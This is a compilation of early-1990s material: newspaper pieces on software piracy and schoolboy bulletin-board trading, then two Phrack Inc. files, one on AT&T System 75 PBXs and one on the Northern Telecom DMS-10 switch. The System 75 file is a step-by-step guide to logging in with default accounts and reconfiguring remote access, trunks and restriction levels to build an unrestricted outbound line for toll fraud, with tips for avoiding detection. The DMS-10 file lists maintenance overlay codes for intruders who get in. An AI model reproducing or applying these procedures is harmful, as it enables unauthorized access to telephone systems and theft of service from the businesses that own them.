Making bootleg copies of software is copyright infringement, and it's as illegal ‑‑ and as easy ‑‑ as copying a cassette tape or a video tape. The difference is in magnitude. A cassette costs $8, a video maybe $25, while computer programs can cost hundreds and even thousands of dollars. Audio and video tapes come with FBI warnings of arrest for illegal copying. Software comes with a notice of copyright penalties right on the box. But despite such threats, softlifting isn't taken seriously, said Julie Schaeffer, director of the Washington Software Association. "It's really in the same arena of intellectual property," Schaeffer said. "But people don't think about the hours and hours of work that goes into writing a program."

The Boeing Co. in Seattle is one company that tries hard not to break the law. It has a department of Software Accountability, which monitors compliance with software licensing.

AutoDesk resorts to a physical inventory of the software manuals that go with a given program. If programmers don't have the manuals in their work cubicles, they can be fined $50.

The SPA itself said the problem is more one of education than enforcement. "Because copying software is so easy and because license agreements can be confusing, many people don't realize they're breaking the law," the SPA said.

Feigning ignorance of the law doesn't help. With Microsoft products, a user is liable as soon as the seal on a package of software is broken. "At that point you've agreed to Microsoft's licensing agreement under copyright law," Microsoft spokeswoman Katy Erlich said. "It says so right on the package."

________________________________________

Teenage Pirates and the Junior Underworld December 11, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Justin Keery (The Independent)(Page 31)

"By the end of the year, any schoolboy with a computer who wants Sex will get it."

The first print‑run of 100,000 copies of Madonna's Sex has sold out. A further 120,000 will be printed before Christmas, and bookshops have ordered every last one. But parents beware... around 5,000 school children have their own copy, and the number is growing rapidly as floppy disks are circulated in playgrounds.

Viewing the disk edition on a computer reveals television‑quality images from the book ‑‑ the text, it seems, is deemed superfluous. In disk form the pictures can be copied and traded for video games, credibility or hard cash in a thriving underground marketplace. By the end of the year, any schoolboy with a computer who wants Sex will get it. The unlucky will catch a sexually transmitted disease in the process ‑‑ the Disaster Master virus, found on the Independent's copy.

Sex is a special‑interest area in the thriving junior underworld of software trading. Circulation of Madonna's pictures among minors with neither the budget nor the facial hair to buy Sex gives Madonna's publishers little cause to fear loss of sales. Neither Secker & Warburg in London nor Time‑Warner in New York knew of the unofficial digital edition. But the publishers of computer video games have much to lose from playground transactions.

Sex is not doing a roaring trade, said one schoolboy trader. Video games, with price‑tags of up to pounds 40, are what every child wants, but few can afford. But who needs to buy, when your classmates will trade copies of the latest titles for another game, a glimpse of Madonna or a humble pound coin?

Games disks are usually uncopyable. Skilled programmers "crack" the protection, as an intellectual challenge and a way of gaining respect in an exclusive scene, add "training" options such as extra lives, and post this version on a computer bulletin board ‑‑ a computer system attached to a telephone line where people log in to trade their "wares".

Most bulletin boards (BBSs) are friendly places where computer freaks exchange tips, messages and "public domain" programs, made available by their authors free of charge. But illegitimate operators, or SysOps, look down on "lame" legal boards, and "nuke" any public domain material submitted to their systems.

The larger pirate boards are the headquarters of a cracking group ‑‑ often in a 15‑year‑old's bedroom. There are perhaps 100 in Britain. Cracked games and "demos" publicize phone numbers, and a warning is issued that copyright software should not be posted ‑‑a disclaimer of questionable legality. New members are asked if they represent law enforcement agencies. According to a warning message on one board, at least one BBS in the United States is operated by the FBI.

Your account at a board may not allow you to download until you upload wares of sufficient quality. Games are considered old after a week, so sexy images, "demos" or lists of use to hackers are an alternative trading commodity. Available this week, as well as Madonna, are: "lamer's guide to hacking PBXs", "Tex" and "Grapevine" ‑‑ disk magazines for pirates; and demos ‑‑ displays of graphical and sound programming prowess accompanied by bragging messages, verbal assaults on rival factions and advertisements for BBSs. According to a former police officer, the recipes for LSD and high explosives have circulated in the past.

The board's "download ratio" determines how many disks are traded for every contribution ‑‑ usually two megabytes are returned for every megabyte contributed. "Leech accounts" (unlimited access with no quotas) are there for those foolish enough to spend between pounds 1 and pounds 60 per month. But children can sign on using a pseudonym, upload a "fake" ‑‑ garbage data to increase their credit ‑‑ then "leech" as much as possible before they get "nuked" from the user list.

The "modem trader" is a nocturnal trawler of BBSs, downloading wares, then uploading to other boards. Current modem technology allows users to transfer the contents of a disk in 10 minutes. A "card supplier" can provide a stolen US or European phone credit card number. The scene knows no language barriers or border checks, and international cross‑fertilization adds diversity to the software in circulation.

Through the unsociable insomniac trader, or the wealthier "lamer" with a paidup "leech account," games reach the playground. The traders and leeches gain extra pocket money by selling the disks for as little as pounds 1, and from there the trade begins.

Some market‑traders have realized the profit potential, obtaining cracked software through leech accounts and selling the disks on stalls. Sold at a pocket‑money price of pounds 1 per disk, many games reach schools. The trading of copyright software is illegal but the perpetrators stand little chance of getting caught and are unlikely to be prosecuted.

The victims, software houses, suffer real damage. Sales of Commodore Amiga computers equal the dedicated games machines ‑‑ the Sega Megadrive or Nintendo, yet sales of Amiga games (on disk and therefore pirate fodder) often reach only one third of the volume of their copy‑proof console cartridge counterparts. Despite his preference for Amiga technology, Phil Thornton of System 3 Software is "seriously reconsidering" future development of Amiga games. Myth, a twoyear project, sold pitiful amounts. Mr. Thornton was called by a pirate the day it was released ‑‑ the game was available on a bulletin board. Because of piracy, the sequel to the successful Putty will be mastered instead for the Nintendo console.

This tactic may not help for long. The cracked Amiga release of Putty carried an advertisement (added by pirates) for a Nintendo cartridge "backup" device. Transferred to disk, a "pirate‑proof" console game can be traded like any other. Games for the Nintendo and Sega systems are available on most bulletin boards.

Scotland Yard only takes an interest in bulletin boards bearing pornography, though most also carry pirate software. Funded by the software industry, the Federation Against Software Theft has successfully prosecuted only one board, with "more pending."

This Christmas parents will buy hundreds of thousands of video games. Some children will ask for modems; thus games will be on the bulletin boards by Boxing Day, and the first day of term will see the heaviest trading of the year.

AUTHOR'S NOTE: I considered using a pseudonym for this article. Two years ago, a Newsweek reporter exposed the North American bulletin board network. His credit rating, social security and bank files were altered in a campaign of intimidation which included

Hacking AT&T System 75

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 6 of 13

A Brief Guide to Definity G Series Systems

a.k.a

System 75 ‑ 85

Written by Scott Simpson

Greets to Jim Anderson, The Missing Link, Randy Hacker, Dark Druid, Nickodemus, Mercury, Renegade, Infinity (enjoy the army!), Weirdo, TomCat, GarbageHeap, Phrack Inc.

Basic History

~~~~~~~~~~~~~

Definity model systems came into existent in the later part of the 1970s. In 1983, AT&T came out with a revised model called 75. This system was built to hold more incoming lines and did not have as many errors as the earlier version did. The 1983 version was replaced with a version re‑written in 1986. Today, the systems are referred to as G models. System 75 is now called G1 and 85 is called G2. A new model is currently available and is called the Definity G3I which is Generic 3 with an Intel chip, and Definity G3R which is Generic 3 with a Risk chip. There are 3 different versions to each model. Version one is the most common and it is an XE Single Carrier Unit. The other two systems are 2 carriers. A system will usually cost somewhere around 50 to 80 thousand dollars. You MIGHT come across a smaller version and it is called "Merlin Legend." This system will hold about 50‑100 lines. System 75 & 85 will hold around 1000 lines. System 75/85 are used by companies to house all of their incoming lines, as well as to send their incoming lines to destinations set up by the owners, whether it be Audix or any other setup. There are many uses for the system besides VMBs and PBXes. System 75/85 has three main functions that hackers are interested in. They are the capabilities of VMB, bridging, and of course PBX exchanges.

Discovering the System

~~~~~~~~~~~~~~~~~~~~~~

When you find a System 75, you will make a 1200/NONE connection (if HST used), as most setups have a built in 1200 baud modem. Normally, the controller number will not be in the same prefix as the business or the PBX and the line is actually owned by AT&T. Try CNAing a System 75 line and it will tell you that it is owned by AT&T. Once you find a carrier, you will need to be able to display ANSI or some equivalent type of terminal graphics. Most are set to N81, but some may be E71. My suggestion is to use ToneLoc which is produced by Mucho Maas and Minor Threat. As you know, this program will scan for carriers as well as tones. This program can be found on just about every ELEET H/P BBS.

Getting into the System

~~~~~~~~~~~~~~~~~~~~~~~

Getting into the system is the easy part if you have the defaults. You must find them on your own and you will find out that a lot of people are not willing to trade for them. There is one default that will enable you to snoop around and tell whether or not they have a PBX, provided that they have not changed the password or restricted the account. This one default is usually a fully operational account without the privileges of altering any data but I have come across a couple of systems where it wouldn't do anything. Using this default account is a good way to start if you can find it. It is also good to use any time you call and don't plan on changing anything. All actions by this account are not kept in the system history file. Now on to the good stuff!!

Abusing System 75

~~~~~~~~~~~~~~~~~

After logging into a 75, there are several commands available depending on the default you are using. This part will be for the basics. I will explain more later for the more advanced people.

When you log in, you will have the commands LIST, DISPLAY, and a couple others that don't matter. These are the only ones that you will need with the aforementioned default. First type "DIS REM" (display remote access). If there is a PBX set up on the system, it will be shown on the extension line. The barrier code is the code to the PBX. If "none" appears, there is no code and it's just 9+1. The extension line can either be 3 or 4 digits. Usually, if it's 3 digits, it is run off of AUDIX (AUDio Information eXchange) or they are smart and are hiding the one digit! Look at the dialplan and see if the extensions are 3 or 4 digits. If it tells you that the extensions are three digits, chances are that it is somewhere in the AUDIX system. If it's run off of an AUDIX, look through all of the extensions by either list or display 'extensions' until you find one that says something like "remote extension" or something that looks different. If the one digit is hidden, use ToneLoc and scan for the digit needed. Next, display the trunk groups. This will tell you the actual dial‑up. If you don't find it here, don't panic. As you go through the trunk groups, also look at the incoming destination as well as the night destination. If any of these show the remote extension here, there is your PBX. If not, keep looking through all of the trunk groups. Write down all of the phone numbers it gives you and try them. They can usually be found on page three or so.

A LOT of the time, places call forward a back line or so to the actual PBX. If there is no remote access extension when you display the remote access, you are shit out of luck unless you have a higher default and read the rest of this text.

Setting Up Your Own PBX

~~~~~~~~~~~~~~~~~~~~~~~

If you have a higher default, you will notice that if you type help, you have more commands that are available to you, such as change, download, etc. Remember, the company can change the privileges of the defaults so if you cannot see these commands, use another default. The first thing you want to do is to display the dialplan. This will tell you the amount of digits and the first digit of all of the sequences. Here is an example of a dialplan. There are several ways the dialplan may look.

Number of Digits ‑‑‑‑‑‑‑1‑‑‑‑2‑‑‑‑3‑‑‑‑4‑‑‑‑5‑‑‑‑6‑‑‑‑7‑‑‑‑8‑‑‑‑9

‑‑

F 1

I 2 Tac

R 3

S 4 Fac

T 5

6 Extension

D 7 Extension

I 8 Tac

G 9

I 0 Attendant

T *

#

Using the above chart, all extensions will start with either a 6 or 7 and will be four digits long. The Tac is two digits, and will start with a 2 or an 8. Don't worry about FAC or any others at this time.

After you make note of this, type "ch rem" (change remote access), go to the extension line, and put in an extension. Next, find the trunk group that you want to use and type "ch tru #". Go to the line for night service and put the extension in there. If there is already an extension for night service on all of the trunks, don't worry. If not, add it, and then save it. If it says invalid extension, you misread the dialplan. If you pick an extension already in use, it will tell you so when you try to install it in the remote extension line in the remote address. Once all of this is completed, you may go back to the remote access and add a code if you like, or you may just enter "none" and that will be accepted. THE NEXT PART IS VERY IMPORTANT! Look at the trunk that you installed and write down the COR number. Cancel that command and type "dis cor #". Make sure that the Facilities Restriction Level (FRL) at the top is set to 7 (7 is the least restricted level & 0 is the most) and that under calling party restrictions & called party restrictions, the word "none" (lower case) is there! If they are not, type "ch cor #" and make the changes. Last, type "dis feature". This will display the feature access codes for the system. There will be a line that says something like "SMDR Access Code." This will be the code that you enter after the barrier code if there is one. I have seen some be like *6, etc. Also, there will be, on page 2 I believe, something to the like of outside call. usually it is set to 9 but check to be sure. That's about it for this segment. All should be fine at this point. For those that want a 24 hour PBX, this next section is for you.

For those of you that are greedy, and want a 24 hour PBX, most of the steps above are the same. The only difference is that you will look through all of the trunks until you come across one that has several incoming rotary lines in it. Simply write down the port number and the phone number for future reference and delete it by using the "ch" command. From the main prompt, type "add tru #". For the TAC, enter a correct TAC number. Keep going until you get to the COR. Enter a valid one and remember that the FRL should be set to 7, etc. Keep going...the next line that is vacant and needs something is the incoming destination. Set it to the remote extension that you have created. The next vacant line I think is type (towards the middle of the page). Enter ground and it should print out "ground‑start." If there is a mistake, it will not save and it will send you to the line that needs to have something on it. After all is done, it will save. After this segment, there is a copy of a trunk and what it should look like for the use of a PBX. Next, go to page 3 and enter the port and phone number that you wrote down earlier. Save all of the changes that you have made. This should be all you need.

One more way! If you scan through all of the extensions on the system, you may find an "open" extension. This extension may be like the phone outside in the waiting room or an empty office or whatever. This extension must be a valid phone number on their network or must be reachable on their AUDIX for this method to work. If you know how to add ports to Audix, this method will be best for you since setting up a trunk is not needed. If you find something like this, it's usually better to use this as your 24 hour PBX rather than taking away a line for several reasons: 1) there are less changes that you must make so there will be less data saved in the history file; 2) other people that have legal uses for the line won't trip out when they get a dial tone; and 3) the company will not notice for some time that they've lost an extension that is hardly used! To set it up this way, you must delete the old info on that extension by typing "remove extension #". It will then show you the station in detail. Save it at that point and it will be deleted. Next go to the remote access and enter the extension that you deleted on the remote extension line. Next enter a barrier code or "none" if you don't want one. Save it! Doing it this way USUALLY does not require a new trunk to be added since the port is already in the system but if you run into problems, go back and add it through the use of a trunk. You will still have to assign it a "cor" in the remote access menu, and remember to make sure that the FRL and the restrictions are set correctly as stated as above.

In part 2, if there is a demand, I will tell how to make a bridge off of a 75. It is a lot more difficult, and requires a lot more reading of the manuals. If anyone can obtain the manuals, I would strongly urge them to do so. Also potentially in part 2, I will show how to create a VMB. If they have AUDIX voice mail, chances are they have a 75!

So happy hunting and see ya soon!

If you need to get a hold of me to ask a question, you may catch me on the nets or on IRC.

Enjoy!

Scott Simpson

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

APPENDIX A : Example of a Trunk For PBXs

Trunk Group Page 1 of 5

‑‑‑‑‑‑‑‑‑‑

Group Number # Group Type: co Smdr Reports: n

Group name: Whatever ya want Cor: # Tac: #

Mis Measured? n

Dial access: y Busy Threshold: 60 Night Service: What will answer

after hours

Queue length: 0 Abandoned call Search: n Incoming Dest: What will answer

any time the # is

called unless NS

has an extension.

Comm Type: voice Auth Code: n Digit Absorption List:

Prefix‑1? n Restriction: code Allowed Calls List: n

Trunk‑Type: Ground‑start

Outgoing Dial type: tone

Trunk Termination: whatever it is Disconnect Timing: Whatever it is

to. set to.

ACA Assignments: n

[Page 2 is not all that important. It's usually used for all of the [maintenance to the trunk etc. so leave it all set to its default setting.]

page 3 of 5

Port Name Mode Type Answer delay

1 Port number phone number

2

3

etc.

That's all that is needed for the trunks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

APPENDIX B : Basic Commands and Terms

Basic Terminology

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COR ‑ Class Of Restriction

FRL ‑ Facilities Restriction Level

SMDR ‑ Station Message Detail Recording

TAC ‑ Trunk Access Code

FAC ‑ Feature Access Code

Basic Commands for Default Emulation (513)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Esc Ow ‑ Cancel

Esc [U ‑ Next Page

Esc SB ‑ Save

Esc Om ‑ Help

Commands for 4410

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Esc Op ‑ Cancel

Esc Ot ‑ Help

Esc Ov ‑ Next Page

Esc Ow ‑ Back Page

Esc OR ‑ Save

Esc Oq ‑ Refresh

Esc Os ‑ Clear Fields

Below is an explanation of all of the commands.

The following is a captured buffer of a login to System 75. I have captured the commands and have edited the buffer to include brief definitions of the commands.

Display and list are basically the same command, but display shows more detailed information on the command that you select. For example, "list tru" will list all of the trunk groups in the system. "dis tru" will ask for a trunk number, and then display all of the information on that trunk.

CH Help

Please enter one of the following action command words:

add duplicate save

change list set

clear monitor status

display remove

Or enter 'logoff' to logoff the system

Add ‑ Is pretty self‑explanatory

Change ‑ Is also self‑explanatory

Clear ‑ will clear out the segment

Duplicate ‑ will duplicate the process

List ‑ self‑explanatory

Monitor ‑ used for testing, and monitoring the system

Remove ‑ remove anything from the system EXCEPT the History File! Sorry guys!

Save ‑ saves work done

Set ‑ sets the time, etc.

Status ‑ shows current status of the system

List Help

Please enter one of the following object command words: COMMANDS UNDER "LIST"

abbreviated‑dialing groups‑of‑extension personal‑CO‑line aca‑parameters hunt‑group pickup‑group bridged‑extensions intercom‑group station configuration measurements term‑ext‑group coverage modem‑pool trunk‑group data‑module performance

Or press CANCEL to cancel the command

Abbreviated‑Dialing: Speed calling feature from their voice terminal Aca‑parameters: Automatic‑Circuit‑Assurance

Bridged Extensions: Used for bridging extensions together Configuration: Overall system Configuration

Coverage: Call Coverage

Data‑module: Description of the data module used

Groups Of Extensions: Lists all of the extensions available Hunt‑Group: Checks for active or idle status of extension numbers Intercom‑group: Lists the intercoms and their info

Modem‑Pool: Allows switched connects between data modules and analog data Performance: Shows the performance of the system

Personal‑CO‑line: Is for dedicated trunks to or from public terminals Pickup‑group: Pickup station setup

Station: Will list all of the available stations assigned Term‑ext‑group: For terminating extension group

Trunk‑Group: Lists ALL of the trunks; will NOT show all details like Display

Dis Help

Please enter one of the following object command words: Commands Under 'Display'

abbreviated‑dialing data‑module personal‑CO‑line alarms dialplan pickup‑group allowed‑calls digit‑absorption port announcements ds1 psc

attendant errors remote‑access button‑location‑aca feature‑access‑codes route‑pattern circuit‑packs hunt‑group station code‑restriction intercom‑group synchronization communication‑interface ixc‑codes system‑parameters console‑parameters listed‑directory‑numbers term‑ext‑group cor modem‑pool time

cos paging trunk‑group coverage permissions

Or press CANCEL to cancel the command

Abbreviated Dialing: Covered above, but shows more information Alarms: Will show information on the alarms (which ones are on/off) Allowed‑Calls: Will show LD carrier codes and allowed call list Announcements:

Attendant: Allows attendant to access trunks without voice terminals Button‑location‑aca: Will show the location of the aca selected circuit‑packs: Tells types of lines used.

Code‑Restriction: Shows restrictions for HNPA and FNPA Communication‑Interface: Information on the communication interface Console‑Parameters: Will list the parameters of the console, etc. Cor: Class Of Restriction (will show the cor for the # entered) Cos: Class Of Service

Coverage: Shows the coverage of the system (voice terminals, etc.) Data‑Module: Will show information for the data channels entered Dialplan: List the current config for extensions etc. Digit‑absorption:

Ds1: Used for tie‑trunk services

Errors: Shows all of the errors on the system Feature‑Access_Codes: Lists all of the feature access codes for all of the features on the entire system

Hunt‑Group: As above, but will tell more information for the # you enter Intercom Group: Lists all of the names and their intercom assignments IXC‑Codes: Inter‑eXchange Carrier codes

Listed‑Directory: Lists the numbers in the directory of the system Modem‑Pool: Will show info on the channel you select (exp baud, parity, etc.) Paging: Used for the paging stations on the voice terminals Permissions: Will show the privileges of the other accounts/defaults Personal‑CO‑Line: As above but more descriptive

Pickup‑Group: Shows names and extensions in the specified group number Port: Will show the info on the port you ask about

PSC: Keeps a call between to data points connected while the system is active Remote‑Access: Will show the Remote Access that is there (if any) Route‑Pattern: The pattern of routing within the voice terminals, etc. Station: Will show detailed information on the station # you enter Synchronization: Will show the location of the DS1 packs System‑Parameters: List of all of the available systems parameters Term‑Ext‑Group: As above but more descriptive

Time: Will show the current time and date

How To Build a DMS-10 Switch

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 7 of 13

How To Build A DMS‑10 Switch

by The Cavalier

Society for the Freedom of Information

March 11, 1992

With the telephone network's complexity growing exponentially as the decades roll by, it is more important than ever for the telecom enthusiast to understand the capabilities and function of a typical Central Office (CO) switch. This text file (condensed from several hundred pages of Northern Telecom documentation) describes the features and workings of the Digital Multiplex Switch (DMS)‑10 digital network switch, and with more than an average amount of imagination, you could possibly build your own.

The DMS‑10 switch is the "little brother" of the DMS‑100 switch, and the main difference between the two is the line capacity. The DMS line is in direct competition to AT&T's ESS line (for the experienced folks, the features covered are the as those included in the NT Software Generic Release 405.20 for the 400 Series DMS‑10 switch).

Table of Contents

~~~~~~~~~~~~~~~~~

I. OVERVIEW/CPU HARDWARE SPECS

II. NETWORK SPECS

1. Network Hardware

2. Network Software

3. Advanced Network Services

III. EXTERNAL EQUIPMENT SPECS

1. Billing Hardware

2. Recorded Announcement Units

3. Other Misc. Hardware

IV. MAINTENANCE AND ADMINISTRATION

1. OAM

2. Interactive Overlay Software Guide

V. SPEC SHEET

VI. LIMITED GLOSSARY

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I. OVERVIEW/CPU HARDWARE SPECS

Overview

The DMS‑10 switch is capable of handling up to 10,800 lines, and was designed for suburban business centers, office parks, and rural areas. It can be installed into a cluster configuration to centralize maintenance and administration procedures and to increase combined line capacity to 50,000 lines. It is capable of functioning as an End Office (EO), an Equal Access End Office (EAEO), and an Access Tandem (AT), and is a known as a Class 5 switch. It supports up to 3,408 trunks and 16,000 directory numbers. It can outpulse in DP (Dial Pulse), MF (Multi‑Frequency), or DTMF (Dual‑Tone Multi‑Frequency), insuring compatibility with new and old switches alike (translation ‑‑ the switch is small, by most standards, but it has massive bounce for the ounce).

Hardware Specifications

The DMS‑10 switch itself is a 680x0‑based computer with 1 MB of RAM in its default configuration. The processor and memory are both duplicated; the backup processor remains in warm standby. The memory system is known as the n+1 system, meaning that the memory is totally duplicated.

II. NETWORK SPECS

Network Hardware

The DMS‑10 network hardware consists mostly of PEs, or Peripheral Equipment trunk and line packs. The PEs take the incoming analog voice signals, digitalize them into 8 bit PCM (Pulse Code Modulation) signals, and feed it into the main transmission matrix section of the switch. There, it is routed to another trunk or line and converted back into an analog signal for retransmission over the other side of the call. Note that manipulating voice in the digital domain allows the signal to be rerouted, monitored, or retransmitted across the country without any reduction in signal quality as long as the signals remain in PCM format. <Hint!>

Network Software

The DMS‑10 has a variety of software available to meet many customers' switching needs. A good example of this software is the ability of several DMS‑10 switches to be set up in a cluster (or star configuration, for those of you familiar with network topologies). In this arrangement, one DMS‑10 is set up as the HSO (Host Switching Office) and up to 16 DMS‑10s are set up as SSOs (Satellite Switching Offices), allowing all billing, maintenance, and administration to be handled from the HSO. Additionally, all satellites can function on their own if disconnected from the HSO.

Another feature of the DMS‑10's network software are nailed‑up connections, commonly known as loops. The DMS‑10 supports up to 48 loops between any two points. The connections are constantly monitored by the switch computer, and if any are interrupted, they are re‑established.

Meridian Digital Centrex (MDC) is the name given to a group of features that enable businesses to enjoy the benefits of having PBX (Private Branch Exchange) equipment by simply making a phone call to the local telco.

Advanced Network Services (ANS)

If the DMS‑10 is upgraded with the 400E 32‑bit RISC processor, the switch will be able to handle 12,000 lines, enjoy a speed improvement of 80%, support a six‑fold increase in memory capacity, and, perhaps most importantly, will be able to run NT's Advanced Network Services software. This software includes Common Channel Signaling 7 (CCS7), Advanced Meridian Digital Centrex, DMS SuperNode connectivity, and ISDN. CCS7 is the interswitch signaling protocol for Signaling System 7, and the concept deserves another text file entirely (see the New Fone eXpress/NFX articles on SS7).

III. EXTERNAL EQUIPMENT SPECS

Billing Format Specifications

The DMS‑10 can record AMA (Automatic Message Accounting) billing data in either Bellcore or Northern Telecom format, and it can save this data in one of several ways:

‑ by saving onto a 9‑track 800 BPI (Bits‑Per‑Inch) density tape drive called an MTU (Magnetic Tape Unit)

‑ by saving onto a IOI (Input/Output Interface) pack with a 64 MB SCSI (Small Computer System Interface) hard drive, and transferring to 1600 BPI tape drives for periodic transport to the RAO (Regional Accounting Office)

‑ by transmitting the data through dial‑up or dedicated telephone lines with the Cook BMC (Billing Media Converter) II, a hard drive system that will transmit the billing records on request directly to the RAO. The Cook BMC II supports six different types of transmission formats, listed below:

* AMATS (BOC) [max speed: 9600 bps] Call records are stored using the Bellcore AMA format and polled using the BX.25 protocol. Two polling ports are provided with one functioning as a backup.

* BIP Compatible [max speed: 9600 bps (2400*4)] Call records are stored using the Bellcore AMA format and polled using the HDLC Lap B protocol. Four polling ports are provided that can function simultaneously for a combined throughput of 9600 bps. This specification is compatible with GTE's Billing Intermediate Processor.

* Bellcore AMA w/ BiSync polling [max speed: 9600 bps] Call records are stored using the Bellcore AMA format and polled using the IBM BiSync 3780 protocol. One polling port is provided. This option is intended for operating companies who use independent data centers or public domain protocols for data processing.

* Bellcore AMA w/ HDLC polling [max speed: 9600 bps] Call records are stored using the Bellcore AMA format and polled using the HDLC (High‑level Data Link Control) protocol. One port is provided.

* NT AMA w/ HDLC polling [max speed: 9600 bps] Call records are stored using the Northern Telecom AMA format and polled using the HDLC protocol.

* NT AMA w/ BiSync polling [max speed: 4800 bps] Call records are stored using the Northern Telecom AMA format and polled using the BiSync protocol.

‑ by interfacing with AT&T's AMATS (Automatic Message Accounting Teleprocessing System)

‑ by interfacing with the Telesciences PDU‑20

All of the above storage‑based systems are fully fault‑tolerant, and the polled systems can store already‑polled data for re‑polling.

Recorded Announcement Units

The DMS‑10 system may be interfaced to one or more recorded announcement units through two‑wire E&M trunks. Some units supported include the Northern Telecom integrated Digital Recorded Announcement Printed Circuit Pack (DRA PCP), the Cook Digital Announcer or the Audichron IIS System 2E.

The DRA PCP is integrated with the DMS‑10 system, as opposed to the Cook and Audichron units, which are external to the switch itself. It provides recorded announcements on a plug‑in basis and offers the following features:

‑ Four ports for subscriber access to announcements

‑ Immediate connection when pack is idle

‑ Ringback tone when busy until a port is free

‑ Switch‑selectable message lengths (up to 16 seconds)

‑ Local and remote access available for message recording ‑ Memory can be optionally battery‑backed in case of power loss ‑ No MDF (Main Distribution Frame) wiring required

Other External Hardware

The DMS‑10 can also support the Tellabs 292 Emergency Reporting System, the NT Model 3703 Local Test Cabinet, and the NT FMT‑150 fiber optic transmission system. More on this stuff later, perhaps.

IV. MAINTENANCE AND ADMINISTRATION

OAM

‑‑‑

OAM, or Operations, Administration, and Maintenance functions, are performed through an on‑site maintenance terminal or through a remote maintenance dial‑in connection. The DMS‑10 communicates at speeds ranging from 110 to 9600 baud through the RS‑232C port (standard) in ASCII. There can be up to 16 connections or terminals for maintenance, and security classes may be assigned to different terminals, so that the terminal can only access the programs that are necessary for that person's job. The terminals are also password protected, and bad password attempts result in denied access, user castration and the detonation of three megatons of on‑site TNT. <Just kidding>

The software model for the DMS‑10 consists of a core program which loads overlays for separate management functions. These overlays can be one of two types: either free‑running, which are roughly analogous to daemons on Unix environments, which are scheduled automatically; or interactive, which communicate directly with the terminal user.

The major free‑running programs are the Control Equipment Diagnostic (CED), the Network Equipment Diagnostic (NED), the Peripheral Equipment Diagnostic (PED), and the Digital Equipment Diagnostic (DED). The CED runs once every 24 hours, and tests the equipment associated with the CPU buses and the backup CPU. The NED runs whenever it feels like it and scans for faults in the network and proceeds to deal with them, usually by switching to backup hardware and initiating alarm sequences. The PED is scheduled when the switch is installed to run whenever the telco wants it to, and it systematically tests every single trunk and line connected to that central office (CO). The DED tests the incoming line equipment that converts analog voice to digital PCM.

Now, for interactive programs (a.k.a. interactive overlays), I'm going to list all of their codes, just in case one of you gets lucky out there. To switch to an overlay, type OVLY <overlay>. To switch to a sub‑overlay, type CHG <sub‑overlay>. Keep in mind that NT has also installed help systems on some of their software, accessible by pressing "?" at prompts. Here we go:

Overlay Explanation and Prompting Sequences

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ALRM Alarms

ALPT ‑ Alarm scan points

SDPT ‑ Signal distribution points

AMA Automatic Message Accounting

AMA ‑ Automatic Message Accounting

MRTI ‑ Message‑rate treatment index

PULS ‑ Message‑rate pulsing table

TARE ‑ Tariff table

AREA Area

CO ‑ Central Office Code

HNPA ‑ Home Numbering Plan Area

RC ‑ Rate Center

RTP ‑ Rate Treatment Package

CLI Calling Line Identification

CNFG Configuration Record

ALRM ‑ Alarm System Parameters

AMA ‑ Automatic Message Accounting parameters BUFF ‑ System Buffers

CCS ‑ Custom Calling Services

CCS7 ‑ Common Channel Signaling No. 7

CDIG ‑ Circle Digit Translation

CE ‑ Common Equipment Data

CLUS ‑ Cluster data

COTM ‑ Central Office overload call timing CP ‑ Call processing parameters

CROT ‑ Centralized Automatic Reporting of Trunks CRTM ‑ Central Office regular call processing timing CSUS ‑ Centralized Automatic Message Accounting suspension DLC ‑ Data Link Controller assignment for clusters E800 ‑ Enhanced 800 Service

FEAT ‑ Features

GCON ‑ Generic Conditions

HMCL ‑ Host message class assignment

IOI ‑ Secondary input/output interface pack(s) IOSF ‑ Input/Output Shelf Assignment

LCDR ‑ Local Call Detail Recording

LIT ‑ Line Insulation Testing parameters LOGU ‑ Logical Units Assignments

MOVE ‑ Move Remote Line Concentrating Module MTCE ‑ Maintenance Parameters

MTU ‑ Magnetic Tape Unit Parameters

OPSM ‑ Operational Measurements

OVLY ‑ Overlay scheduling

PSWD ‑ Password Access

SITE ‑ Site assignments

SSO ‑ Satellite Switching Office Assignments SUB ‑ Sub Switch

SYS ‑ System parameters

TRB ‑ Periodic trouble status reporting VERS ‑ Version

CPK Circuit Pack

ACT ‑ AC Testing Definition

DCM ‑ Digital Carrier Module

LPK ‑ Line Concentrating Equipment line packs PACK ‑ Peripheral Equipment packs

PMS ‑ Peripheral Maintenance System pack PSHF ‑ Peripheral Equipment Shelf

RMM ‑ Remote Maintenance Module

RMPK ‑ Remote shelf

RSHF ‑ Remote Concentration Line Shelf SBLN ‑ Standby line

SLC ‑ SLC‑96

SLPK ‑ SLC‑96 pack

DN Directory Number

ACDN ‑ Access Directory Number

CRST ‑ Specific Carrier Restricted

ICP ‑ Intercept

RCFA ‑ Remote Call Forwarding appearance ROTL ‑ Remote Office Test Line

STN ‑ Station Definition

EQA Equal Access

CARR ‑ Carrier Data Items

CC ‑ Country Codes

HUNT Hunting

DNH ‑ Directory Number Hunting

EBS ‑ Enhanced Business Services hunting KEY ‑ Stop hunt or random make busy hunting

LAN Local Area Network

LAC ‑ LAN Application Controller

LCI ‑ LAN CPU Interface

LSHF ‑ Message LAN Shelf

NET Network

D1PK ‑ DS‑1 interface pack (SCM‑10S)

1FAC ‑ Interface packs

LCM ‑ Line Concentrating Module

LCMC ‑ Line Concentrating Controller Module NWPK ‑ Network Packs

RCT ‑ Remote Concentrator Terminal

REM ‑ Remote Equipment Module

RSLC ‑ Remote Subscriber Line Module Controller RSLE ‑ Remote Subscriber Line Equipment RSLM ‑ Remote Subscriber Line Module

